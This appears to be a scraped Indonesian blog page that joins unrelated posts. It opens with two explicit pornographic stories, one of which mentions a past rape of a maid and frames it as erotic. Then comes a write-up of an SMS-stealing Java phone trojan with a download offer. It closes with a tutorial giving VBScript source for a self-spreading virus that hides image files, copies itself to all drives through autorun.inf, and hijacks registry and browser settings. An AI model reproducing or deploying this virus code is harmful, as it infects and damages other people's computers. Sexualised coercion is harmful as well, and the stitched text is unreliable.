Selasa, 19 Juli 2011

Istriku Mengandung anak siapa ?

Kuawali Novel remaja  ini dengan perasaan yang sangat perih saat melihat aksi mereka berikut ini. Namun ada juga perasaan nafsu yang meledak ketika melihat istriku yang selingkuh dicumbu oleh selingkuhannya.

Ku lihat istriku tengah mengulum kontol Rian dengan bernafsu sementara tangannya mengocok-ngocok batang kontol Rian, sementara Rian mengusap-usap rambut istriku sambil sesekali meremas-remas pantat istriku. Tak berapa lama Rian berdiri dan mengambil posisi di belakang istriku yang tengah nungging.


Panggil saja aku Adi, usiaku saat ini 30 tahun. Aku sudah menikah dengan Dewi selama satu tahun lebih. Istriku ini wajahnya tidak terlalu cantik, tetapi tubuhnya padat berisi dengan buah dada dan pantat yang menonjol. Kalau Dewi memakai baju ketat dan celana jeans, maka mata laki-laki akan terus memandanginya. Kadang-kadang aku risih, tetapi sekaligus juga bangga jika sedang jalan berdua dengan Dewi. Sebenarnya ketika tengah berpacaran dulu aku sering mendengar gosip kalau Dewi sedikit liar, tetapi hal itu tidak aku hiraukan.

Setelah menikah, aku mengontrak rumah di sebuah perumahan di pinggir Kota Bandung.. Aku bekerja di sebuah perusahaan swasta, sementara Dewi aku minta berhenti dari pekerjaannya untuk mengurus rumah. Saat ini Dewi tengah mengandung 3 bulan, aku sangat gembira karena sebentar lagi aku akan menjadi seorang bapak. Tetapi kegembiraanku tidak berlangsung lama.
Aku ingat hari itu hari Kamis. Kebetulan aku mendapat tugas dari kantor untuk mengunjungi relasi yang tak jauh lokasinya dari perumahan tempatku tinggal. Setelah selesai urusanku dengan relasi kantor, aku berniat mampir ke rumah untuk makan siang. Sesampainya di depan rumahku aku lihat ada sebuah motor parkir di halaman rumah. Aku tidak mengenal motor itu, aku berpikir siapa yang tengah bertamu ke rumahku. Perlahan kubuka pintu pagar dan menuju ruang depan. Tetapi di ruang tamu tak kulihat siapapun, dari jendela aku hanya melihat ada gelas minum di meja ruang tamu. Aku coba membuka pintu depan, ternyata terkunci. Otakku mulai berpikir negatif, hatiku mulai diliputi perasaan curiga. Aku segera menuju samping rumah.
Di samping rumah ada pintu yang terhubung dengan dapur. Ku coba untuk membuka pintu, ternyata tidak dikunci. Aku segera beringsut-ingsut menuju ruang tengah di mana terletak kamar tidur rumahku. Pintu kamar tidurku terbuka sedikit. Dari arah kamar kudengar suara orang yang tengah bercumbu, hatiku benar-benar panas sekarang. Perlahan ku intip ke dalam kamar, dari pantulan cermin lemari pakaianku aku bisa melihat dua orang yang telanjang bulat tengah bergumul di atas ranjang.

aku benar-benar marah, ingin aku segera melabrak masuk ke dalam kamar, tetapi pikiran lain muncul. Sudah lama aku membayangkan istriku tengah dicumbu orang lain. Jika tengah membayangkan hal itu, nafsu sex ku akan segera naik. Akhirnya kuputuskan untuk menonton saja adegan yang terjadi di kamarku. Aku coba memperhatikan siapa cowok yang tengah bergumul dengan istriku, aku kaget, ternyata dia Rian, mantan teman sekerja istriku, bahkan ketika pernikahanku Rian hadir dan sempat berfoto bersama. Rian memang Tampan, tubuhnya tinggi atletis dengan kulit putih dan hidung mancung.

Ku lihat istriku tengah mengulum kontol Rian dengan bernafsu sementara tangannya mengocok-ngocok batang kontol Rian, sementara Rian mengusap-usap rambut istriku sambil sesekali meremas-remas pantat istriku. Tak berapa lama Rian berdiri dan mengambil posisi di belakang istriku yang tengah nungging. dari cermin dapat kulihat kontol Rian yang panjang melengkung ke atas, lebih panjang dari kontolku. Pantas saja istriku nekat berselingkuh dengannya. Perlahan Rian menusukan kontolnya ke lubang memek istriku, kudengar erangan istriku ketika kepala kontol Rian mulai memasuki lubang memeknya. Rian mulai memaju-mundurkan pantatnya, semakin lama semakin cepat, batang kontolnya keluar-masuk menghujam memek Dewi. Bunyi paha Rian yang beradu dengan pantat Dewi membuatku terangsang, tanpa terasa kontolku pun sudah menegang.
Kali ini Rian merubah posisi, Rian menindih tubuh Dewi, posisi mereka membelakangi cermin sehingga aku bisa melihat jelas ketika batang kontol Rian menghujam lubang memek Dewi. Gerakan Rian sangat liar dan kasar seakan-akan kontolnya hendak merobek-robek memek istriku. Sesekali Rian menciumi bibir Dewi dan payudaranya dihisap bergantian. Tak berapa lama Rian mengerang, dicabutnya kontolnya dari lubang memek Dewi. Rupanya Rian sudah hampir ejakulasi. Sambil mengocok-ngocok batang kontolnya tangan Rian menarik kepala istriku agar mendekati kepala kontolnya. Crot..crot, kontol Rian memuntahkan sperma ke wajah Dewi. Spermanya sangat banyak hingga wajah Dewi belepotan oleh cairan putih kental itu. Rian kemudian ambruk ke ranjang. Tubuhnya menindih tubuh Dewi. Mereka berpelukan sambil berciuman. Aku segera beringsut ke luar rumah.
Sepanjang perjalanan aku membayangkan apa yang barusan aku saksikan. Aku jadi bertanya-tanya anak siapa yang tengah dikandung istriku
dan sudah berapa lama istriku berselingkuh. Tetapi aku juga merasa horny membayangkan istriku bersetubuh dengan orang lain. Aku jadi ingin untuk bercinta dengan Dewi nanti malam, aku akan bermain habis-habisan, dan apabila Dewi sudah melahirkan aku akan menceraikannya, karena aku tidak mau mempunyai istri yang doyan selingkuh.

Cerita Porno Dengan Keponakan Pembantu


Kisah ini kembali terulang ketika keluarga gw membutuhkan seorang pembantu lagi. Kebetulan saat itu mbak Dian menganjurkan agar keponakannya Rini yang bekerja disini, membantu keluarga ini. Mungkin menurut ortu gw dari pada susah susah cari kesana kesini, gak pa pa lah menerima tawaran Dian ini. Lagian dia juga sudah cukup lama berkerja pada keluarga ini. Mungkin malah menjadi pembantu kepercayaan keluarga kami ini.
Akhirnya ortu menyetujui atas penawaran ini dan mengijinkan keponakannya untuk datang ke Jakarta dan tinggal bersama dalam keluarga ini.
Didalam pikiran gw gak ada hal yang akan menarik perhatian gw kalau melihat keponakannya. “Paling paling anaknya hitam, gendut, trus jorok. Mendingan sama bibinya aja lebih enak kemutannya.” Pikir gw dalam hati.
Sebelum kedatangan keponakannya yang bernama Rini, hampir setiap malam kalau anggota keluarga gw sudah tidur lelap. Maka pelan pelan gw ke kamar belakang yang memang di sediakan keluarga untuk kamar tidur pembantu.

Pelan pelan namun pasti gw buka pintu kamarnya, yang memang gw tahu mbak Dian gak pernah kunci pintu kamarnya semenjak kejadian itu. Ternyata mbak Dian tidur dengan kaki mengangkang seperti wanita yang ingin melahirkan. Bagaimanapun juga setiap gw liat selangkangannya yang di halus gak di tumbuhi sehelai rambutpun juga. Bentuknya gemuk montok, dengan sedikit daging kecil yang sering disebut klitoris sedikit mencuat antara belahan vagina yang montok mengiurkan kejantanan gw. Perlahan lahan gw usap permukaan vagina mbak Dian yang montok itu, sekali kali gw sisipin jari tengah gw tepat ditengah vaginanya dan gw gesek gesekan hingga terkadang menyentuh klitorisnya. Desahan demi desahan akhirnya menyadarkan mbak Dian dari tidurnya yang lelap.

“mmmm....sssshh.....oooohh, Donn... kok gak bangun mbak sih. Padahal mbak dari tadi tungguin kamu, sampai mbak ketiduran.” Ucap mbak Dian sama gw setelah sadar bahwa vaginanya disodok sodok jari nakal gw. Tapi mbak Dian gak mau kalah, tanpa diminta mbak Dian tahu apa yang gw paling suka.
Dengan sigap dia menurunkan celana pendek serta celana dalam gue hingga dengkul, karena kejantanan gw sudah mengeras dan menegang dari tadi.
Mbak Dian langsung mengenggam batang kejantanan gw yang paling ia kagumi semenjak kejadian waktu itu.
Dijilat jilat dengan sangat lembut kepala kejantanan gw, seakan memanjakan kejantanan gw yang nantinya akan memberikan kenikmatan yang sebentar lagi ia rasakan. Tak sesenti pun kejantanan gw yang gak tersapu oleh lidahnya yang mahir itu. Dikemut kemut kantong pelir gw dengan gemasnya yang terkadang menimbulkan bunyi bunyi “plok.. plok”. Mbak Dian pun gak sungkan sungkan menjilat lubang dubur gw. Kenikmatan yang mbak Dian berikan sangat diluar perkiraan gw malam itu.

“Mbak....uuuh. enak banget mbak. Trus mbak nikmatin kont*l saya mbak.” Guyam gw yang udah dilanda kenikmatan yang sekarang menjalar.

Semakin ganas mbak Dian menghisap kont*l gw yang masuk keluar mulutnya, ke kanan kiri sisi mulutnya yang mengesek susunan giginya. Kenikmatan yang terasa sangat gak bisa gw ceritain, ngilu. Hingga akhirnya pangkal unjung kont*l gw terasa ingin keluar.

“Mbak... Donny mau keluar nih...” sambil gw tahan kont*l gw didalam mulutnya, akhirnya gw muncratin semua sperma didalam mulut mungil mbak Dian yang berbibir tipis itu.
“Croot... croot... Ohhh... nikmat banget mbak mulut mbak ini, gak kalah sama mem*k mbak Dian. Namun kali ini mbak Dian tanpa ada penolakan, menerima muncratan sperma gw didalam mulutnya. Menelan habis sperma yang ada didalam mulutnya hingga tak tersisa. Membersihkan sisa sperma yang meleleh dari lubang kencing gw. Tak tersisa setetespun sperma yang menempel di batang kont*l gw. Bagaikan wanita yang kehausan di tengah padang gurun sahara, mbak Dian menyapu seluruh batang kont*l gw yang teralirkan sperma yang sempat meleleh keluar dari lubang kencing gw.

Lalu dengan lemas aku menindih tubuhnya dan berguling ke sisinya. Merebahkan tubuh gw yang sudah lunglai itu dalam kenikmatan yang baru tadi gue rasakan.
“Donn... mem*k mbak blom dapet jatah... mbak masih pengen nih, nikmatin sodokan punya kamu yang berurat panjang besar membengkak itu menyanggah di dalam mem*k mbak....” pinta mbak Dian sambil memelas. Mengharapkan agar gw mau memberikannya kenikmatan yang pernah ia rasakan sebelumnya.
“Tenang aja mbak... mbak pasti dapat kenikmatan yang lebih dari pada sebelumnya, karena punya saya lagi lemes, jadi sekarang mbak isep lagi. Terserak mbak pokoknya bikin adik saya yang perkasa ini bangun kembali. Oke.”

Tanpa kembali menjawab perintah gw. Dengan cekatan layaknya budak seks. Mbak Dian menambil posisi kepalanya tepat di atas kont*l gw, kembali mbak Dian menghisap hisap. Berharap keperkasaan gw bangun kembali. Segala upaya ia lakukan, tak luput juga rambut halus yang tumbuh mengelilingi batang kont*l gw itu dia hisap hingga basah lembab oleh air ludahnya.
Memang gw akuin kemahiran pembantu gw yang satu ini hebat sekali dalam memanjakan kont*l gw didalam mulutnya yang seksi ini. Alhasil kejantanan gw kembali mencuat dan mengeras untuk siap bertempur kembali.
Lalu gw juga gak mau lama lama seperti ini. Gw juga mau merasakan kembali kont*l gw ini menerobos masuk ke dalam mem*knya yang montok gemuk itu. Mengaduk ngaduk isi mem*knya.
Gw memberi aba aba untuk memulai ke tahap yang mbak Dian paling suka. Dengan posisi women on top, mbak Dian mengenggam batang kont*l gue. Menuntun menyentuh mem*knya yang dari setadi sudah basah. kont*l gw di gesek gesek terlebih dahulu di bibir permukaan mem*knya. Menyentuh, mengesek dan membelah bibir mem*knya yang mengemaskan. Perlahan kont*l gw menerobos bibir mem*knya yang montok itu. Perlahan lahan kont*l gw seluruhnya terbenam didalam liang kenikmatannya. Goyangan pinggulnya mbak dian membuat gw nikmat banget. Semakin lama semakin membara pinggul yang dihiasi bongkahan pantat semok itu bergoyang mempermainkan kont*l gw yang terbenam didalam mem*knya.

“uh... Donn. Punya kamu perkasa banget sih. Nikmat banget....” dengan mimik muka yang merem melek menikmati hujaman kont*l gw ke dalam liang senggamanya.

“mem*k mbak Dian juga gak kalah enaknya. Bisa pijit pijit punya saya... mem*k mbak di apain sih... kok enak banget.”

“Ih... mau tahu aja. Gak penting diapain. Yang penting kenikmatan yang diberikan sama mem*k mbak sama kamu Donn....” sahut mbak Dian sambil mencubit pentil tetek gw.

“Donn... ooohh.... Donn.... mbak mmmmauu kluuuuaaarr... ooohh.” Ujar mbak Dian sambil mendahakkan kepalanya ke atas, berteriak karena mencapai puncak dari kenikmatannya. Dengan lunglai mbak Dian ambruk merebahkan tubunya yang telanjang tepat di atas badan gw. Untung saja posisi kamar mbak Dian jauh dari kamar kamar saudara dan ortu gw. Takutnya teriakan tadi membangunkan mereka dan menangkap basah persetubuhan antara pembantu dengan anak majikannya. Gak kebayang deh jadinya kayak apa.
Lalu karena gw belum mencapai kenikmatan ini, maka dengan menyuruh mbak Dian mengangkatkan pantatnya sedikit tanpa harus mengeluarkan batang kont*l gw dari dalam liang kenikmatannya. Masih dengan posisi women on top. Kembali kini gue yang menyodok nyodok mem*knya dengan bringas. Sekarang gw gak perduli suara yang keluar dari mulut mbak Dian dalam setiap sodokan demi sodokan yang gw hantam kedalam mem*knya itu.

“Donn.... kamu kuat banget Donn... aaah... uuuhhh... ssshhhh.... ooohhh...” erangan demi erangan keluar silih berganti bersama dengan keringat yang semakin mengucur di sekujur badan gw dan mbak Dian.
“Truuuus... Donn... sodok trusss mem*k mbak Doooonn. Jangan perduliin hantam truuuss.” Erangan mbak Dian yang memerintah semakin membuat darah muda gw semakin panas membara. Sekaligus semakin membuat gw terangsang.
“Suka saya ent*t yah mbak... kont*l saya enak’kan... hhmmm.” Tanya gw memancing birahinya untuk semakin meningkat lagi.
“hhhhhmmmm... suka....sssshhh... banget Donn. Suka banget.” Kembali erangannya yang tertahan itu terdengar bersama dengan nafasnya yang menderu dera karena nafsu birahinya kembali memuncak.
“Bilang kalau mbak Dian adalah budak seks Donny.” Perintah gw.
“Mbak budak seks kamu Donn, mbak rela meskipun kamu perkosa waktu itu.... Ohhhh... nikmatnya kont*l kamu ini Donn.”

Semakin kencang kont*l gw ent*tin mem*knya mbak Dian. Mungkin seusai pertempuran ranjang ini mem*knya mbak Dian lecet lecet karena sodokan kont*l gw yang tak henti hentinya memberikan ruang untuk istirahat.
Merasa sebentar lagi akan keluar, maka gw balikkan posisi tubuh mbak Dian dibawah tanpa harus mengeluarkan kont*l yang sudah tertanam rapi didalam mem*knya. Gw peluk dia trus gw balikin tubuhnya kembali ke posisi normal orang melakukan hubungan badan.
Gw buka lebar lebar selangkangan mbak Dian dan kembali memompa mem*k mbak Dian. Terdengar suara suara yang terjadi karena beradunya dua kelamin berlainan jenis. “plok... plok...” semakin kencang terdengar dan semakin cepat daya sodokan yang gw hantam ke dalam liang vaginanya. Terasa sekali bila dalam posisi seperti ini, kont*l gw seperti menyentuh hingga rahimnya. Setiap di ujung hujangan yang gw berikan. Maka erangan mbak Dian yang tertahan itu mengeras.

Sampai saatnya terasa kembali denyut denyutan yang semula gw rasakan, namun kali ini denyut itu semakin hebat. Seakan telah di ujung helm surga gw. Gw tahan gak mau permainan ini cepat cepat usai. Setiap mau mencapai puncaknya. Gw pendam dalam dalam kont*l gw di dalam lubang senggamanya mbak Dian.

Tiba tiba rasa nikmat ini semakin.... ooohhh....ssshhhh...

Senin, 18 Juli 2011

Trojan Horse Pada Java Mobile Phone

Sebenarnya sangat sulit untuk menemukan Trojan Horse sederhana yang bisa dijadikan materi pembahasan pada artikel ini. Beberapa dari Trojan Horse menggunakan teknik elit yang tidak mudah dipahami oleh pemula sekalipun, mengingat Java adalah bahasa pemrograman High Level.
Untungnya setelah beberapa lama bergerilya di internet, kost dengan beberapa orang Rusia, Jerman dan Spanyol untuk mendapatkan referensi (Howdy, My Reverser friends.. You’re all awesome :D ) serta bertapa selama 7 hari, 7 malam, 7 jam, 7 menit, 7 detik lebih sedikit.. kurang 1 menit dibagi seperempat detik (Kata Pak guru matematika berapa hasilnya?? :D ), Saya bisa menemukan materi unik Trojan Horse dari Indonesia.

DEFINITION
Adalah program apapun yang memiliki tujuan tersembunyi. Trojan merupakan salah satu dari sekian banyak penyebab utama pembobolan sebuah sistem. Jika Anda mendapatkan sebuah program dari chat room, new group, atau dari e-mail yang tidak pernah diharapkan, program tersebut kemungkinan trojan dengan beberapa tujuan yang bersifat subversif. Sebagai contoh, Trojan bisa diprogram untuk menerima kata sandi dari user account yang bisa dipergunakan hacker memasuki kembali suatu sistem setiap saat. Rootkit seringkali berisi program-program trojan.
Trojan adalah program Rootkit 100% merugikan. Trojan hanya menguntungkan satu pihak saja, yaitu penyerang. Untungnya kemudahan dalam mendapatkan informasi mengenai Trojan di internet, membuat semua pengguna komputer lebih waspada. Namun hal inilah yang membuat Trojan mengalami beberapa perubahan yang variatif, Trojan tidak lagi sederhana dan mudah ditebak seperti jaman dulu, Trojan semakin unik seperti halnya pada Trojan yang dibahas pada artikel ini. Teknik Social Engineering menjadi salah satu alat efektif yang dipergunakan oleh penyerang untuk menyebarluaskan Trojan. Untuk mempelajari lebih lanjut mengenai program yang termasuk dalam keluarga Rootkit, Trojan dan karakteristiknya, Anda bisa membaca artikel Saya yang berjudul “Key Logger – Hack Tool Pencuri Informasi”

SOME USEFUL APIS
Di bawah ini Saya cantumkan beberapa fungsi Java API Wireless Toolkit yang dipergunakan pada pemrograman Trojan Java Mobile Phone :
1. javax.microedition.io
Class Connector
public class Connector
extends Object
Kelas ini adalah pabrik untuk menciptakan obyek Connection baru.
Penciptaan Koneksi-Koneksi dilakukan secara dinamis dengan melihat suatu implementasi kelas protokol yang namanya dibentuk dari nama platform (pembacaan dari sebuah sistem properti) dan nama protokol dari koneksi yang diminta (Diekstrak dari parameter string yang disediakan oleh aplikasi programmer.) Parameter string yang menjelaskan target harus sesuai dengan format URL seperti yang diuraikan pada RFC 2396.
{scheme}:[{target}][{params}]
where {scheme} is the name of a protocol such as http}.
The {target} is normally some kind of network address.
Any {params} are formed as a series of equates of the form “;x=y”. Example: “;type=a”.
2. javax.microedition.io
Interface Connection
public interface Connection
Ini adalah tipe yang paling dasar dari koneksi umum. Hanya metode terdekat yang didefinisikan. Tidak ada metode terbuka yang didefinisikan di sini sebab pembukaan selalu dilakukan dengan menggunakan metode Connector.open().
3. javax.microedition.midlet
Class MIDlet
public abstract class MIDlet
extends Object
MIDlet adalah sebuah aplikasi profil MID. Aplikasi tersebut harus memperluas kelas ini agar mengijinkan software manajemen aplikasi untuk mengendalikan MIDlet dan mampu mendapat kembali properti dari descriptor aplikasi dan perubahan status permintaan. Metode kelas ini mengijinkan software manajemen aplikasi untuk melakukan create, start, pause, dan destroy suatu MIDlet.
Constructor
  • MIDlet
  • protected MIDlet()
Method
  • getAppProperty
  • public final String getAppProperty(String key)
  • startApp
  • protected abstract void startApp()
    throws MIDletStateChangeException
  • pauseApp
  • protected abstract void pauseApp()
  • destroyApp
  • protected abstract void destroyApp(boolean unconditional)
    throws MIDletStateChangeException
  • notifyDestroyed
  • public final void notifyDestroyed()

ART OF ATTACKING
Anda bisa mendapatkan Trojan SMS ini di internet melalui mesin pencarian Google versi web ataupun versi mobile dengan mengetikan keyword “YAHOO MAIL INDOSAT 2011.JAR” di kolom pencarian. Sebelumnya, Saya ingin mengucapkan terima kasih kepada sang penyerang yang telah “BAIK HATI” meninggalkan informasi tentang dirinya dengan sangat jelas.. Sangat jarang seorang Hacker ataupun Cracker meninggalkan informasi pribadinya kecuali dengan alasan khusus karena hal tersebut adalah perbuatan bunuh diri! Pelacakan lokasi penyerang bisa dilakukan dari data Trojan, Server upload, Nomer telpon seluler, IP address, image header dan lainnya.. Hacker dan Cracker tidak akan melakukan tindakan kriminal dan kebodohan seperti ini, kecuali sang pembuat Trojan adalah maling kambuhan atau ingin menjadi artis dadakan di daftar pencarian orang Kepolisian! :D
$$$$$$$$$$$$$$$$$$$$
Program Content
Screenshot Program Content
Untuk membaca isi program “YAHOO MAIL INDOSAT 2011.JAR” Anda bisa mengetikkan perintah JAR TF “YAHOO MAIL INDOSAT 2011.JAR” pada console. Jika pada komputer Anda tidak terinstall Java, Anda bisa mempergunakan WinRAR, Winzip dan lainnya untuk melakukan ekstraksi file. Jangan lupa terlebih dahulu gantilah ekstensi program menjadi “ZIP”. Misalnya dari “YAHOO MAIL INDOSAT 2011.JAR” menjadi “YAHOO MAIL INDOSAT 2011.ZIP”. Dari data “MANIFEST.MF” yang ada, Saya menemukan beberapa hal :
Nama file : YAHOO MAIL INDOSAT 2011.JAR
Nama midlet : YAHOO ISAT
Tanggal pembuatan : 2009-11-15
Waktu pembuatan : 18:48
Nomer HP penyerang : 085751351335
Provider yang digunakan : INDOSAT (Kode Fitur 151)
Metode serangan : Transfer pulsa
Kerugian pulsa minimal : Rp. 2.000 – 10.000 Setiap launching
URL : http://luana.com
MicroEdition-Config : CLDC-1.0
MicroEdition-Profile : MIDP-2.0
Malware class : Cdacc5617db4e975c5890b0b913c21696
CATATAN : Data diatas sesuai dengan data asli penyerang yang tertera pada file “MANIFEST.MF” tanpa mengalami perubahan sedikitpun dari penulis. Anda bisa menganalisa dan membandingkan keaslian data dengan Trojan sejenis yang terdapat di internet. Untuk membaca data, Anda bisa mempergunakan Notepad.

Metode penyerangan adalah mengirimkan SMS transfer pulsa sebanyak 1-10 kali dengan nominal Rp. 2000,-/SMS setiap kali program dijalankan, dengan perantara fitur 151 provider INDOSAT. Teknik Social Engineering yang dipergunakan mirip dengan aplikasi game yang booming pada tahun 2004-2005, yang mengharuskan user untuk mengirimkan sejumlah SMS sebagai biaya pembelian sebelum game dijalankan. Kebanyakan user pasti tertipu jika tidak mengetahui apa yang sebenarnya mereka jalankan. Saya harap pihak kepolisian dan intelejen Indonesia meluangkan waktu membaca artikel ini, agar bisa menindaklanjuti serta mampu mengantisipasi kasus seperti ini di masa yang akan datang. Jadikan Indonesia lebih baik! (Go.. Go.. Go.. Indonesia Police Cyber! Chaya.. Chaya.. Indonesia Police Dancer.. Howdy, Briptu Norman Kamaru! :D )
Konsep Trojan secara keseluruhan mengadopsi konsep dari “J2ME/TrojanSMS.Konov”, hal ini bisa Anda lihat pada file binary “Cdacc5617db4e975c5890b0b913c21696.class”. Sebagai informasi, hanya beberapa orang Hacker di dunia ini yang mampu membaca file binary (bahasa mesin) secara langsung sebagai contoh rekan-rekan dari Metasploit dan rekan-rekan dari beberapa komunitas yang Saya sebutkan pada Greetz di bagian bawah artikel ini, Saya harap Anda tidak menemui kesulitan membaca file tersebut melalui Notepad atau Hexa Editor. Jangan kaget, karakter yang akan Anda jumpai mirip karakter alien dan cakar ayam :D
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Text View
Screenshot Text View
Kelebihan dari teknik Hacker bidang Reverse Engineering salah satunya adalah mampu membalik kode binary (Kode mesin) menjadi kode (Source Code) yang mudah dibaca oleh manusia. Bagi Anda yang bekerja sebagai programmer, alangkah baiknya untuk berhati-hati mengamankan software Anda. Sebuah software komersial yang dirubah menjadi Source Code akan membuat orang lain mampu membuat software yang mirip seperti buatan Anda, hanya dengan menjiplak kode software Anda!!! Dibawah ini screenshot favorit rekan-rekan Hacker bidang Reverse Engineering. Maaf, sengaja menampilkan beberapa baris saja.. Terlalu panjang jika menampilkan kode Assembly keseluruhan.. Toh sama saja hasilnya, karena source code yang sebenarnya cuma 42 baris.. Lagipula sesama reverser bisa mempelajari sendiri tanpa perlu membaca artikel ini :D
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Amazing Assembly
Screenshot Amazing Assembly
Jika Anda sudah patah hati karena kesulitan membaca binary, maka ada baiknya Anda membaca file “TrojanSMS.java” yang lebih manusiawi :D Memang tidak mudah membaca binary, jadi Saya meluangkan waktu mengkode ulang file binary yang ada menjadi Source Code bahasa pemrograman Java yang dapat dibaca oleh mata manusia. Saya harap Anda bisa memahami cara kerja Trojan SMS ini. “Wireless Toolkit” dibutuhkan sebagai media pemrograman Java Mobile Phone.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
Source Code
Screenshot Source Code
PERHATIAN : Source code yang disertakan pada artikel ini hanya sebagai pembelajaran, bisa dicompile ulang untuk menghasilkan binary. Saya tidak bertanggungjawab terhadap penyalahgunaan, kerusakan, kerugian yang disebabkan oleh pihak lain melalui Source Code ini!!! Untuk mendapatkan Source Code lengkap silahkan kunjungi Website Saya.

FINAL NOTES
Trojan SMS diatas hanyalah salah satu dari sekian banyak Trojan yang mentargetkan Java Mobile Phone. Trojan ini bisa dikatakan sebagai Lame Trojan, dibuat oleh Lamer dan bisa dimodifikasi oleh Scriptkiddies dengan mudah. Namun jangan pernah menyepelekan hal kecil. Apa yang akan terjadi jika Trojan ini berada di tangan orang yang lebih cerdas dan disalahgunakan? Tentunya tidak akan lagi mencuri pulsa Anda, melainkan mencuri LOG, Cookies dan data pribadi lainnya yang tersimpan di Mobile Phone Anda!
Solusi murah dan praktis dari Saya untuk menghindari kejahatan Trojan Java Mobile Phone dan sejenisnya adalah selalu aktifkan hak akses seluruh software yang terdapat pada Mobile Phone Anda menjadi mode “Prompt” atau mode pemberitahuan. Misal : Network access, Read and Write data, Auto invocation, Messaging, Multimedia, Local connectivity, dan lainnya.
Saya sangat menyarankan kepada seluruh rekan-rekan yang membaca artikel ini untuk selalu waspada, jika Antivirus Anda tidak mendeteksi file Trojan SMS yang disertakan bersama artikel ini, silahkan menghubungi vendor Antivirus yang Anda miliki. Dengan cara mengirimkan sampel file “YAHOO MAIL INDOSAT 2011.JAR” ke vendor Antivirus. Jika Anda mengklaim diri Anda sebagai seorang Hacker tentunya Anda tidak ingin memperparah keadaan dengan menyembunyikan ataupun mempergunakan kode ini untuk kejahatan, bukan? Hacker sejati tidak berbuat kriminal dan merugikan orang lain, Hacker sejati melakukan sesuatu yang berarti bagi seluruh umat manusia sesuai dengan kode etik Hacker dan Jargon. Orang yang berbuat kriminal melalui komputer, merugikan, ingin untung sendiri dan tidak memikirkan nasib orang lain adalah MALING alias KRIMINAL alias TERORIS bukan Hacker, bukan juga bagian dari komunitas Hacker dan Binus Hacker. Semoga artikel Saya bermanfaat dan dapat membantu Anda mengamankan diri dari kejahatan cyber. I am Hacker, I am Cracker.. I am still a Farmer :D

DOWNLOAD TROJAN HORSE MOBILE PHONE .JAR

Cara Membuat Virus Dengan Visual Basic

Virus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain. Virus komputer dapat dianalogikan dengan virus biologis yang menyebar dengan cara menyisipkan dirinya sendiri ke sel makhluk hidup. Virus komputer dapat merusak (misalnya dengan merusak data pada dokumen), membuat pengguna komputer merasa terganggu, maupun tidak menimbulkan efek sama sekali. Virus yang akan kita coba buat kali ini akan dibuat dengan menggunakan Visual Basic Script. Terlebih dulu kira akan rencakan skenario kerja dari virus tersebut. Skenario virus tersebut adalah sebagai berikut:
1. Virus akan mencari file-file .JPG pada folder dan subfolder satu tingkat didalamnya, setelah itu merubah ekstension file JPG tersebut menjadi JPEG dan merubah atributnya menjadi hidden file. Sehingga akan dikira file tersebut terhapus.
2. Meng-copy-kan dirinya (virus) dalam folder-folder tertentu dalam Windows
3. Memodifikasi Registry agar secara otomatis menjalankan script virus pada saat restart
4. Menularkan diri pada drive-drive yang aktif termasuk flash disk
5. Membuat halaman HTML tertentu agar dijalankan pada start page di Internet Explorer
Nah, demikianlah skenario virus yang akan kita buat. Untuk lebih jelasnya kita akan pelajari dari script dibawah ini:
1. Pada bagian ini akan dibuat sebuah prosedur untuk mencari file-file JPG dan merubahnya sesuai dengan skenario diatas
Sub serangan_jpg(target)
on error resume next
set ftarget=fso.GetFile(target)
set fsource = fso.GetFile(Wscript.ScriptFullName)
ftarget.Copy(Left(target,instrrev(target,”.”)) & “jpeg”)
set fbackup = fso.GetFile(Left(target,instrrev(target,”.”)) & “jpeg”)
fbackup.Attributes = 2 fsource.Copy(Left(target,instrrev(target,”.”)) & “jpg ” & “.vbs”)
ftarget.Delete
ftarget.Close
fsource.Close
End Sub
Sub carifilejpg(folder)
For Each filetarget in fso.GetFolder(folder).Files
If (Right(filetarget,3)=”jpg”) then serangan_jpg(filetarget)
Next
End Sub
2. Prosedur dibawah ini berfungsi untuk mencari drive yang aktif termasuk media flash disk dan kemudian menularinya.
Sub serangan_drive()
Set fso = CreateObject(”Scripting.FileSystemObject”)
Set Drives=fso.drives
adaflashdisk = False
For Each drive in Drives
If drive.isready Then
fsource.Copy(drive & “” & “wolio.vbs”)
If drive.DriveType = 1 And drive.DriveLetter > “C:” Then adaflashdisk = True
End If
Next
If adaflashdisk = True Then
set fileautorun = fso.CreateTextFile(drive.DriveLetter & “” & “autorun.inf”,False)
fileautorun.WriteLine(”[AUTORUN]“)
fileautorun.WriteLine(”RUN=wolio.vbs”)
End If
End Sub
3. Merubah Registry agar Start Page pada Internet Explorer menjalankan file HTML yang diinginkan
Sub serangan_ie()
If (regedit.RegRead(”HKEY_CURRENT_USER\SOFTWARE\MicrosoftInternet Explorer\Main\Start
Page”)<>”c:\windows\system32\wolio.html”) Then
regedit.RegWrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main\Start
Page”,”c:\windows\system32\wolio.html”
End If
End Sub
4. Bagian ini digunakan untuk membuat sebuah file HTML yang akan menjalankan script virus
Sub buat_html()
set filehtml = fso.CreateTextFile(”c:windowssystem32wolio.html”,True)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
“)
filehtml.WriteLine(”Welcome to Wolio”)
filehtml.WriteLine(”filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
filehtml.WriteLine(”Selamat Datang di Wolio VBS “)
filehtml.WriteLine(””)
filehtml.WriteLine(””)
End Sub
5. Pada bagian ini akan mencari folder yang ada dan menularinya dengan script virus
Sub serangan_folder(foldername)
on error resume next
For Each subfolder in fso.GetFolder(foldername).SubFolders
fsource.Copy(subfolder & “wolio.vbs”)
carifilejpg(subfolder)
next
End Sub
6. Bagian dibawah ini adalah bagian yang utama gunanya untuk mendeklarasikan variabel dan memangggil semua prosedur
On Error Resume Next
dim fso, fsource, ftarget, fbackup, scriptname, myfolder, subfolder, preview, filetarget, sys, regedit, drive,
filehtml, fileautorun
dim adaflashdisk
set fso = CreateObject(”Scripting.FileSystemObject”)
set fsource = fso.GetFile(Wscript.ScriptFullName)
set regedit=CreateObject(”WScript.Shell”)
myfolder = Left(fsource,InStrRev(fsource,””))
‘ Copy-kan diri ke “c:windowssystem32″
fsource.Copy(”c:windowssystem32wolio.vbs”)
